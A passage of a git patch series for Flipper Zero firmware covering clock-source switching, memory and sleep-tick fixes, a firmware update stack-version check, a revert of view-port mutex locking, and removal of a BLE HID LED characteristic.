LL_RCC_LSI1_IsReady()) void furi_hal_clock_init_early() { - LL_SetSystemCoreClock(CPU_CLOCK_HZ_EARLY); + LL_SetSystemCoreClock(CPU_CLOCK_EARLY_HZ); LL_Init1msTick(SystemCoreClock); } @@ -24,11 +31,6 @@ void furi_hal_clock_deinit_early() { } void furi_hal_clock_init() { - /* Prepare Flash memory for 64MHz system clock */ - LL_FLASH_SetLatency(LL_FLASH_LATENCY_3); - while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_3) - ; - /* HSE and HSI configuration and activation */ LL_RCC_HSE_SetCapacitorTuning(0x26); LL_RCC_HSE_Enable(); @@ -49,9 +51,6 @@ void furi_hal_clock_init() { while(!LS_CLOCK_IS_READY()) ; - /* RF wakeup */ - LL_RCC_SetRFWKPClockSource(LL_RCC_RFWKP_CLKSOURCE_LSE); - LL_EXTI_EnableIT_0_31( LL_EXTI_LINE_18); /* Why? Because that's why. See RM0434, Table 61. CPU1 vector table. */ LL_EXTI_EnableRisingTrig_0_31(LL_EXTI_LINE_18); @@ -79,12 +78,17 @@ void furi_hal_clock_init() { ; /* Sysclk activation on the main PLL */ - /* Set CPU1 prescaler*/ + /* Set CPU1 prescaler */ LL_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_1); - /* Set CPU2 prescaler*/ + /* Set CPU2 prescaler, from this point we are not allowed to touch it. */ LL_C2_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_2); + /* Prepare Flash memory for work on 64MHz system clock */ + LL_FLASH_SetLatency(LL_FLASH_LATENCY_3); + while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_3) + ; + LL_RCC_SetSysClkSource(LL_RCC_SYS_CLKSOURCE_PLL); while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_PLL) ; @@ -104,7 +108,7 @@ void furi_hal_clock_init() { ; /* Update CMSIS variable (which can be updated also through SystemCoreClockUpdate function) */ - LL_SetSystemCoreClock(CPU_CLOCK_HZ_MAIN); + LL_SetSystemCoreClock(CPU_CLOCK_PLL_HZ); /* Update the time base */ LL_Init1msTick(SystemCoreClock); @@ -122,7 +126,7 @@ void furi_hal_clock_init() { FURI_LOG_I(TAG, "Init OK"); } -void furi_hal_clock_switch_to_hsi() { +void furi_hal_clock_switch_hse2hsi() { LL_RCC_HSI_Enable(); while(!LL_RCC_HSI_IsReady()) @@ -134,38 +138,27 @@ void furi_hal_clock_switch_to_hsi() { while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_HSI) ; - LL_C2_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_1); - LL_FLASH_SetLatency(LL_FLASH_LATENCY_0); while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_0) ; } -void furi_hal_clock_switch_to_pll() { +void furi_hal_clock_switch_hsi2hse() { #ifdef FURI_HAL_CLOCK_TRACK_STARTUP uint32_t clock_start_time = DWT->CYCCNT; #endif LL_RCC_HSE_Enable(); - LL_RCC_PLL_Enable(); - LL_RCC_PLLSAI1_Enable(); - while(!LL_RCC_HSE_IsReady()) ; - while(!LL_RCC_PLL_IsReady()) - ; - while(!LL_RCC_PLLSAI1_IsReady()) - ; - LL_C2_RCC_SetAHBPrescaler(LL_RCC_SYSCLK_DIV_2); - - LL_FLASH_SetLatency(LL_FLASH_LATENCY_3); - while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_3) + LL_FLASH_SetLatency(LL_FLASH_LATENCY_1); + while(LL_FLASH_GetLatency() != LL_FLASH_LATENCY_1) ; - LL_RCC_SetSysClkSource(LL_RCC_SYS_CLKSOURCE_PLL); + LL_RCC_SetSysClkSource(LL_RCC_SYS_CLKSOURCE_HSE); - while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_PLL) + while(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_HSE) ; #ifdef FURI_HAL_CLOCK_TRACK_STARTUP @@ -176,6 +169,48 @@ void furi_hal_clock_switch_to_pll() { #endif } +bool furi_hal_clock_switch_hse2pll() { + furi_assert(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_HSE); + + LL_RCC_PLL_Enable(); + LL_RCC_PLLSAI1_Enable(); + + while(!LL_RCC_PLL_IsReady()) + ; + while(!LL_RCC_PLLSAI1_IsReady()) + ; + + if(SHCI_C2_SetSystemClock(SET_SYSTEM_CLOCK_HSE_TO_PLL) != SHCI_Success) { + return false; + } + + furi_check(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_PLL); + + LL_SetSystemCoreClock(CPU_CLOCK_PLL_HZ); + SysTick->LOAD = (uint32_t)((SystemCoreClock / 1000) - 1UL); + + return true; +} + +bool furi_hal_clock_switch_pll2hse() { + furi_assert(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_PLL); + + LL_RCC_HSE_Enable(); + while(!LL_RCC_HSE_IsReady()) + ; + + if(SHCI_C2_SetSystemClock(SET_SYSTEM_CLOCK_PLL_ON_TO_HSE) != SHCI_Success) { + return false; + } + + furi_check(LL_RCC_GetSysClkSource() == LL_RCC_SYS_CLKSOURCE_STATUS_HSE); + + LL_SetSystemCoreClock(CPU_CLOCK_HSE_HZ); + SysTick->LOAD = (uint32_t)((SystemCoreClock / 1000) - 1UL); + + return true; +} + void furi_hal_clock_suspend_tick() { CLEAR_BIT(SysTick->CTRL, SysTick_CTRL_ENABLE_Msk); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_clock.h b/firmware/targets/f7/furi_hal/furi_hal_clock.h index 5e651bbd35..3100b619f6 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_clock.h +++ b/firmware/targets/f7/furi_hal/furi_hal_clock.h @@ -1,11 +1,12 @@ #pragma once +#include +#include + #ifdef __cplusplus extern "C" { #endif -#include - typedef enum { FuriHalClockMcoLse, FuriHalClockMcoSysclk, @@ -40,11 +41,23 @@ void furi_hal_clock_deinit_early(); /** Initialize clocks */ void furi_hal_clock_init(); -/** Switch to HSI clock */ -void furi_hal_clock_switch_to_hsi(); +/** Switch clock from HSE to HSI */ +void furi_hal_clock_switch_hse2hsi(); + +/** Switch clock from HSI to HSE */ +void furi_hal_clock_switch_hsi2hse(); + +/** Switch clock from HSE to PLL + * + * @return true if changed, false if failed or not possible at this moment + */ +bool furi_hal_clock_switch_hse2pll(); -/** Switch to PLL clock */ -void furi_hal_clock_switch_to_pll(); +/** Switch clock from PLL to HSE + * + * @return true if changed, false if failed or not possible at this moment + */ +bool furi_hal_clock_switch_pll2hse(); /** Stop SysTick counter without resetting */ void furi_hal_clock_suspend_tick(); diff --git a/firmware/targets/f7/furi_hal/furi_hal_console.c b/firmware/targets/f7/furi_hal/furi_hal_console.c index 2bdc57250a..0b113d2dac 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_console.c +++ b/firmware/targets/f7/furi_hal/furi_hal_console.c @@ -5,8 +5,6 @@ #include #include -#include - #include #define TAG "FuriHalConsole" diff --git a/firmware/targets/f7/furi_hal/furi_hal_flash.c b/firmware/targets/f7/furi_hal/furi_hal_flash.c index 796d20b19f..bc65b29eb6 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_flash.c +++ b/firmware/targets/f7/furi_hal/furi_hal_flash.c @@ -7,6 +7,9 @@ #include #include +#include + +#include #define TAG "FuriHalFlash" diff --git a/firmware/targets/f7/furi_hal/furi_hal_memory.c b/firmware/targets/f7/furi_hal/furi_hal_memory.c index 7f69b90ca2..3f8df1f440 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_memory.c +++ b/firmware/targets/f7/furi_hal/furi_hal_memory.c @@ -4,9 +4,6 @@ #define TAG "FuriHalMemory" -// STM(TM) Copro(TM) bug(TM) workaround size -#define RAM2B_COPRO_GAP_SIZE_KB 2 - typedef enum { SRAM_A, SRAM_B, @@ -38,13 +35,20 @@ void furi_hal_memory_init() { uint32_t sbrsa = (FLASH->SRRVR & FLASH_SRRVR_SBRSA_Msk) >> FLASH_SRRVR_SBRSA_Pos; uint32_t snbrsa = (FLASH->SRRVR & FLASH_SRRVR_SNBRSA_Msk) >> FLASH_SRRVR_SNBRSA_Pos; + // STM(TM) Copro(TM) bug(TM): SNBRSA is incorrect if stack version is higher than 1.13 and lower than 1.17.2+ + // Radio core started, but not yet ready, so we'll try to guess + // This will be true only if BLE light radio stack used, + // 0x0D is known to be incorrect, 0x0B is known to be correct since 1.17.2+ + // Lower value by 2 pages to match real memory layout + if(snbrsa > 0x0B) { + FURI_LOG_E(TAG, "SNBRSA workaround"); + snbrsa -= 2; + } + uint32_t sram2a_busy_size = (uint32_t)&__sram2a_free__ - (uint32_t)&__sram2a_start__; uint32_t sram2a_unprotected_size = (sbrsa)*1024; uint32_t sram2b_unprotected_size = (snbrsa)*1024; - // STM(TM) Copro(TM) bug(TM) workaround - sram2b_unprotected_size -= 1024 * RAM2B_COPRO_GAP_SIZE_KB; - memory->region[SRAM_A].start = (uint8_t*)&__sram2a_free__; memory->region[SRAM_B].start = (uint8_t*)&__sram2b_start__; diff --git a/firmware/targets/f7/furi_hal/furi_hal_os.c b/firmware/targets/f7/furi_hal/furi_hal_os.c index 3fc1fbea84..046cf79dc1 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_os.c +++ b/firmware/targets/f7/furi_hal/furi_hal_os.c @@ -170,27 +170,35 @@ void vPortSuppressTicksAndSleep(TickType_t expected_idle_ticks) { return; } + // Core2 shenanigans takes extra time, so we want to compensate tick skew by reducing sleep duration by 1 tick + TickType_t unexpected_idle_ticks = expected_idle_ticks - 1; + // Limit amount of ticks to maximum that timer can count - if(expected_idle_ticks > FURI_HAL_OS_MAX_SLEEP) { - expected_idle_ticks = FURI_HAL_OS_MAX_SLEEP; + if(unexpected_idle_ticks > FURI_HAL_OS_MAX_SLEEP) { + unexpected_idle_ticks = FURI_HAL_OS_MAX_SLEEP; } // Stop IRQ handling, no one should disturb us till we finish __disable_irq(); + do { + // Confirm OS that sleep is still possible + if(eTaskConfirmSleepModeStatus() == eAbortSleep || furi_hal_os_is_pending_irq()) { + break; + } - // Confirm OS that sleep is still possible - if(eTaskConfirmSleepModeStatus() == eAbortSleep || furi_hal_os_is_pending_irq()) { - __enable_irq(); - return; - } - - // Sleep and track how much ticks we spent sleeping - uint32_t completed_ticks = furi_hal_os_sleep(expected_idle_ticks); - // Notify system about time spent in sleep - if(completed_ticks > 0) { - vTaskStepTick(MIN(completed_ticks, expected_idle_ticks)); - } - + // Sleep and track how much ticks we spent sleeping + uint32_t completed_ticks = furi_hal_os_sleep(unexpected_idle_ticks); + // Notify system about time spent in sleep + if(completed_ticks > 0) { + if(completed_ticks > expected_idle_ticks) { +#ifdef FURI_HAL_OS_DEBUG + furi_hal_console_printf(">%lu\r\n", completed_ticks - expected_idle_ticks); +#endif + completed_ticks = expected_idle_ticks; + } + vTaskStepTick(completed_ticks); + } + } while(0); // Reenable IRQ __enable_irq(); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_power.c b/firmware/targets/f7/furi_hal/furi_hal_power.c index 035919d784..c14de85697 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_power.c +++ b/firmware/targets/f7/furi_hal/furi_hal_power.c @@ -13,7 +13,7 @@ #include #include -#include +#include #include #include #include @@ -162,6 +162,11 @@ static inline void furi_hal_power_resume_aux_periphs() { static inline void furi_hal_power_deep_sleep() { furi_hal_power_suspend_aux_periphs(); + if(!furi_hal_clock_switch_pll2hse()) { + // Hello core2 my old friend + return; + } + while(LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) ; @@ -171,13 +176,13 @@ static inline void furi_hal_power_deep_sleep() { LL_HSEM_ReleaseLock(HSEM, CFG_HW_ENTRY_STOP_MODE_SEMID, 0); // The switch on HSI before entering Stop Mode is required - furi_hal_clock_switch_to_hsi(); + furi_hal_clock_switch_hse2hsi(); } } else { /** * The switch on HSI before entering Stop Mode is required */ - furi_hal_clock_switch_to_hsi(); + furi_hal_clock_switch_hse2hsi(); } /* Release RCC semaphore */ @@ -201,12 +206,14 @@ static inline void furi_hal_power_deep_sleep() { while(LL_HSEM_1StepLock(HSEM, CFG_HW_RCC_SEMID)) ; - if(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_PLL) { - furi_hal_clock_switch_to_pll(); + if(LL_RCC_GetSysClkSource() != LL_RCC_SYS_CLKSOURCE_STATUS_HSE) { + furi_hal_clock_switch_hsi2hse(); } LL_HSEM_ReleaseLock(HSEM, CFG_HW_RCC_SEMID, 0); + furi_check(furi_hal_clock_switch_hse2pll()); + furi_hal_power_resume_aux_periphs(); furi_hal_rtc_sync_shadow(); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_random.c b/firmware/targets/f7/furi_hal/furi_hal_random.c index cf4b552f6d..225519303b 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_random.c +++ b/firmware/targets/f7/furi_hal/furi_hal_random.c @@ -6,7 +6,7 @@ #include #include -#include +#include #define TAG "FuriHalRandom" diff --git a/lib/stm32wb.scons b/lib/stm32wb.scons index 94a1c7075a..8a8ad96449 100644 --- a/lib/stm32wb.scons +++ b/lib/stm32wb.scons @@ -64,7 +64,6 @@ sources += [ "stm32wb_copro/wpan/ble/core/auto/ble_l2cap_aci.c", "stm32wb_copro/wpan/ble/core/template/osal.c", "stm32wb_copro/wpan/utilities/dbg_trace.c", - "stm32wb_copro/wpan/utilities/otp.c", "stm32wb_copro/wpan/utilities/stm_list.c", ] diff --git a/lib/stm32wb_copro b/lib/stm32wb_copro index 6c9c54f056..bbccbefae2 160000 --- a/lib/stm32wb_copro +++ b/lib/stm32wb_copro @@ -1 +1 @@ -Subproject commit 6c9c54f05669b2c4d436df58bb691d3b0d7c86df +Subproject commit bbccbefae26a2301b8a4b58e57ebdeb93c08269b diff --git a/scripts/ob.data b/scripts/ob.data index 605faccbfc..9f6f1d0816 100644 --- a/scripts/ob.data +++ b/scripts/ob.data @@ -14,15 +14,15 @@ IWDGSTOP:0x1:rw IWDGSW:0x1:rw IPCCDBA:0x0:rw ESE:0x1:r -SFSA:0xD5:r +SFSA:0xD7:r FSD:0x0:r DDS:0x1:r C2OPT:0x1:r NBRSD:0x0:r -SNBRSA:0xD:r +SNBRSA:0xB:r BRSD:0x0:r SBRSA:0x12:r -SBRV:0x35400:r +SBRV:0x35C00:r PCROP1A_STRT:0x1FF:r PCROP1A_END:0x0:r PCROP_RDP:0x1:rw diff --git a/scripts/update.py b/scripts/update.py index 9f0d95d94e..c315ef8ade 100755 --- a/scripts/update.py +++ b/scripts/update.py @@ -73,6 +73,9 @@ def init(self): self.parser_generate.add_argument( "--I-understand-what-I-am-doing", dest="disclaimer", required=False ) + self.parser_generate.add_argument( + "--stackversion", dest="stack_version", required=False, default="" + ) self.parser_generate.set_defaults(func=self.generate) @@ -93,6 +96,13 @@ def generate(self): if not self.args.radiotype: raise ValueError("Missing --radiotype") radio_meta = CoproBinary(self.args.radiobin) + if self.args.stack_version: + actual_stack_version_str = f"{radio_meta.img_sig.version_major}.{radio_meta.img_sig.version_minor}.{radio_meta.img_sig.version_sub}" + if actual_stack_version_str != self.args.stack_version: + self.logger.error( + f"Stack version mismatch: expected {self.args.stack_version}, actual {actual_stack_version_str}" + ) + return 1 radio_version = self.copro_version_as_int(radio_meta, self.args.radiotype) if ( get_stack_type(self.args.radiotype) not in self.WHITELISTED_STACK_TYPES From 4368ff4294fc12731011a0dfe2eb41d9e94ad8fb Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 12 Sep 2023 18:59:12 +0300 Subject: [PATCH 14/40] Revert "Revert "temp remove before release"" This reverts commit 6a2adf69e68e7f1703b08debac61c1a11abdf954. --- applications/services/gui/view_port.c | 49 ++++----------------------- 1 file changed, 7 insertions(+), 42 deletions(-) diff --git a/applications/services/gui/view_port.c b/applications/services/gui/view_port.c index 0e0c0e5629..aff0d816b9 100644 --- a/applications/services/gui/view_port.c +++ b/applications/services/gui/view_port.c @@ -6,6 +6,8 @@ #include "gui.h" #include "gui_i.h" +// TODO: add mutex to view_port ops + _Static_assert(ViewPortOrientationMAX == 4, "Incorrect ViewPortOrientation count"); _Static_assert( (ViewPortOrientationHorizontal == 0 && ViewPortOrientationHorizontalFlip == 1 && @@ -92,73 +94,52 @@ ViewPort* view_port_alloc() { ViewPort* view_port = malloc(sizeof(ViewPort)); view_port->orientation = ViewPortOrientationHorizontal; view_port->is_enabled = true; - view_port->mutex = furi_mutex_alloc(FuriMutexTypeRecursive); return view_port; } void view_port_free(ViewPort* view_port) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); furi_check(view_port->gui == NULL); - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); - furi_mutex_free(view_port->mutex); free(view_port); } void view_port_set_width(ViewPort* view_port, uint8_t width) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->width = width; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } uint8_t view_port_get_width(const ViewPort* view_port) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); - uint8_t width = view_port->width; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); - return width; + return view_port->width; } void view_port_set_height(ViewPort* view_port, uint8_t height) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->height = height; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } uint8_t view_port_get_height(const ViewPort* view_port) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); - uint8_t height = view_port->height; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); - return height; + return view_port->height; } void view_port_enabled_set(ViewPort* view_port, bool enabled) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); if(view_port->is_enabled != enabled) { view_port->is_enabled = enabled; if(view_port->gui) gui_update(view_port->gui); } - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } bool view_port_is_enabled(const ViewPort* view_port) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); - bool is_enabled = view_port->is_enabled; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); - return is_enabled; + return view_port->is_enabled; } void view_port_draw_callback_set(ViewPort* view_port, ViewPortDrawCallback callback, void* context) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->draw_callback = callback; view_port->draw_callback_context = context; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_input_callback_set( @@ -166,44 +147,34 @@ void view_port_input_callback_set( ViewPortInputCallback callback, void* context) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->input_callback = callback; view_port->input_callback_context = context; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_update(ViewPort* view_port) { furi_assert(view_port); - // TODO: Uncomment when all apps are verified to be fixed !!!!!!!!!!!!!!!!!!!!!!! - //furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); if(view_port->gui && view_port->is_enabled) gui_update(view_port->gui); - //furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_gui_set(ViewPort* view_port, Gui* gui) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->gui = gui; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_draw(ViewPort* view_port, Canvas* canvas) { furi_assert(view_port); furi_assert(canvas); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); furi_check(view_port->gui); if(view_port->draw_callback) { view_port_setup_canvas_orientation(view_port, canvas); view_port->draw_callback(canvas, view_port->draw_callback_context); } - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_input(ViewPort* view_port, InputEvent* event) { furi_assert(view_port); furi_assert(event); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); furi_check(view_port->gui); if(view_port->input_callback) { @@ -211,19 +182,13 @@ void view_port_input(ViewPort* view_port, InputEvent* event) { view_port_map_input(event, orientation); view_port->input_callback(event, view_port->input_callback_context); } - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_set_orientation(ViewPort* view_port, ViewPortOrientation orientation) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->orientation = orientation; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } ViewPortOrientation view_port_get_orientation(const ViewPort* view_port) { - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); - ViewPortOrientation orientation = view_port->orientation; - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); - return orientation; -} + return view_port->orientation; +} \ No newline at end of file From 70b8823eb862cce622755edf74b01f340990d005 Mon Sep 17 00:00:00 2001 From: hedger Date: Tue, 19 Sep 2023 18:08:12 +0400 Subject: [PATCH 15/40] experimental key size change --- firmware/targets/f7/ble_glue/services/gatt_char.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/firmware/targets/f7/ble_glue/services/gatt_char.c b/firmware/targets/f7/ble_glue/services/gatt_char.c index f6e27f53e6..c06403f559 100644 --- a/firmware/targets/f7/ble_glue/services/gatt_char.c +++ b/firmware/targets/f7/ble_glue/services/gatt_char.c @@ -62,7 +62,7 @@ void flipper_gatt_characteristic_init( char_data_descriptor->security_permissions, char_data_descriptor->access_permissions, char_data_descriptor->gatt_evt_mask, - GATT_MIN_READ_KEY_SIZE, + MIN_ENCRY_KEY_SIZE, char_data_descriptor->is_variable, &char_instance->descriptor_handle); if(status) { From f7f9250e55b07e7a7438d2386079d286a3d65026 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 19 Sep 2023 17:45:34 +0300 Subject: [PATCH 16/40] Testing hid without LED descr --- .../f7/ble_glue/services/hid_service.c | 92 +++---------------- .../f7/ble_glue/services/hid_service.h | 4 - .../targets/f7/furi_hal/furi_hal_bt_hid.c | 4 +- 3 files changed, 16 insertions(+), 84 deletions(-) diff --git a/firmware/targets/f7/ble_glue/services/hid_service.c b/firmware/targets/f7/ble_glue/services/hid_service.c index d3fad0108b..cf2aca24e3 100644 --- a/firmware/targets/f7/ble_glue/services/hid_service.c +++ b/firmware/targets/f7/ble_glue/services/hid_service.c @@ -12,7 +12,6 @@ typedef enum { HidSvcGattCharacteristicReportMap, HidSvcGattCharacteristicInfo, HidSvcGattCharacteristicCtrlPoint, - HidSvcGattCharacteristicLed, HidSvcGattCharacteristicCount, } HidSvcGattCharacteristicId; @@ -54,22 +53,6 @@ static bool return false; } -// LED Descriptor params for BadBT - -static uint8_t led_desc_context_buf[2] = {HID_SVC_REPORT_COUNT + 1, 2}; - -static FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_led = { - .uuid_type = UUID_TYPE_16, - .uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID, - .max_length = HID_SVC_REPORT_REF_LEN, - .data_callback.fn = hid_svc_char_desc_data_callback, - .data_callback.context = led_desc_context_buf, - .security_permissions = ATTR_PERMISSION_NONE, - .access_permissions = ATTR_ACCESS_READ_WRITE, - .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, - .is_variable = CHAR_VALUE_LEN_CONSTANT, -}; - static const FlipperGattCharacteristicParams hid_svc_chars[HidSvcGattCharacteristicCount] = { [HidSvcGattCharacteristicProtocolMode] = {.name = "Protocol Mode", @@ -113,21 +96,6 @@ static const FlipperGattCharacteristicParams hid_svc_chars[HidSvcGattCharacteris .security_permissions = ATTR_PERMISSION_NONE, .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, .is_variable = CHAR_VALUE_LEN_CONSTANT}, - [HidSvcGattCharacteristicLed] = - { - .name = - "HID LED State", // LED Characteristic and descriptor for BadBT to get numlock state for altchars - .data_prop_type = FlipperGattCharacteristicDataFixed, - .data.fixed.length = 1, - .uuid.Char_UUID_16 = REPORT_CHAR_UUID, - .uuid_type = UUID_TYPE_16, - .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE, - .security_permissions = ATTR_PERMISSION_NONE, - .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE | - GATT_NOTIFY_WRITE_REQ_AND_WAIT_FOR_APPL_RESP, - .is_variable = CHAR_VALUE_LEN_CONSTANT, - .descriptor_params = &hid_svc_char_descr_led, - }, }; static const FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_template = { @@ -160,9 +128,6 @@ typedef struct { FlipperGattCharacteristicInstance input_report_chars[HID_SVC_INPUT_REPORT_COUNT]; FlipperGattCharacteristicInstance output_report_chars[HID_SVC_OUTPUT_REPORT_COUNT]; FlipperGattCharacteristicInstance feature_report_chars[HID_SVC_FEATURE_REPORT_COUNT]; - // led state - HidLedStateEventCallback led_state_event_callback; - void* led_state_ctx; } HIDSvc; static HIDSvc* hid_svc = NULL; @@ -179,34 +144,6 @@ static SVCCTL_EvtAckStatus_t hid_svc_event_handler(void* event) { } else if(blecore_evt->ecode == ACI_GATT_SERVER_CONFIRMATION_VSEVT_CODE) { // Process notification confirmation ret = SVCCTL_EvtAckFlowEnable; - } else if(blecore_evt->ecode == ACI_GATT_WRITE_PERMIT_REQ_VSEVT_CODE) { - // LED Characteristic and descriptor for BadBT to get numlock state for altchars - // - // Process write request - aci_gatt_write_permit_req_event_rp0* req = - (aci_gatt_write_permit_req_event_rp0*)blecore_evt->data; - - furi_check(hid_svc->led_state_event_callback && hid_svc->led_state_ctx); - - // this check is likely to be incorrect, it will actually work in our case - // but we need to investigate gatt api to see what is the rules - // that specify attibute handle value from char handle (or the reverse) - if(req->Attribute_Handle == (hid_svc->chars[HidSvcGattCharacteristicLed].handle + 1)) { - hid_svc->led_state_event_callback(req->Data[0], hid_svc->led_state_ctx); - aci_gatt_write_resp( - req->Connection_Handle, - req->Attribute_Handle, - 0x00, /* write_status = 0 (no error))*/ - 0x00, /* err_code */ - req->Data_Length, - req->Data); - aci_gatt_write_char_value( - req->Connection_Handle, - hid_svc->chars[HidSvcGattCharacteristicLed].handle, - req->Data_Length, - req->Data); - ret = SVCCTL_EvtAckFlowEnable; - } } } return ret; @@ -227,17 +164,19 @@ void hid_svc_start() { PRIMARY_SERVICE, 2 + /* protocol mode */ (4 * HID_SVC_INPUT_REPORT_COUNT) + (3 * HID_SVC_OUTPUT_REPORT_COUNT) + - (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + 2 + - 4, /* Service + Report Map + HID Information + HID Control Point + LED state */ + (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + + 2, /* Service + Report Map + HID Information + HID Control Point */ &hid_svc->svc_handle); if(status) { FURI_LOG_E(TAG, "Failed to add HID service: %d", status); } - for(size_t i = 0; i < HidSvcGattCharacteristicCount; i++) { - flipper_gatt_characteristic_init( - hid_svc->svc_handle, &hid_svc_chars[i], &hid_svc->chars[i]); - } + // Maintain previously defined characteristic order + flipper_gatt_characteristic_init( + hid_svc->svc_handle, + &hid_svc_chars[HidSvcGattCharacteristicProtocolMode], + &hid_svc->chars[HidSvcGattCharacteristicProtocolMode]); + uint8_t protocol_mode = 1; flipper_gatt_characteristic_update( hid_svc->svc_handle, @@ -279,6 +218,12 @@ void hid_svc_start() { &hid_report_chars[report_type_idx].chars[report_idx]); } } + + // Setup remaining characteristics + for(size_t i = HidSvcGattCharacteristicReportMap; i < HidSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_init( + hid_svc->svc_handle, &hid_svc_chars[i], &hid_svc->chars[i]); + } } bool hid_svc_update_report_map(const uint8_t* data, uint16_t len) { @@ -314,15 +259,6 @@ bool hid_svc_update_info(uint8_t* data) { hid_svc->svc_handle, &hid_svc->chars[HidSvcGattCharacteristicInfo], &data); } -void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context) { - furi_assert(hid_svc); - furi_assert(callback); - furi_assert(context); - - hid_svc->led_state_event_callback = callback; - hid_svc->led_state_ctx = context; -} - bool hid_svc_is_started() { return hid_svc != NULL; } diff --git a/firmware/targets/f7/ble_glue/services/hid_service.h b/firmware/targets/f7/ble_glue/services/hid_service.h index 4d0ed4c4f9..211adcd6c4 100644 --- a/firmware/targets/f7/ble_glue/services/hid_service.h +++ b/firmware/targets/f7/ble_glue/services/hid_service.h @@ -15,8 +15,6 @@ #define HID_SVC_REPORT_COUNT \ (HID_SVC_INPUT_REPORT_COUNT + HID_SVC_OUTPUT_REPORT_COUNT + HID_SVC_FEATURE_REPORT_COUNT) -typedef uint16_t (*HidLedStateEventCallback)(uint8_t state, void* ctx); - void hid_svc_start(); void hid_svc_stop(); @@ -29,5 +27,3 @@ bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16 // Expects data to be of length HID_SVC_INFO_LEN (4 bytes) bool hid_svc_update_info(uint8_t* data); - -void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context); diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c 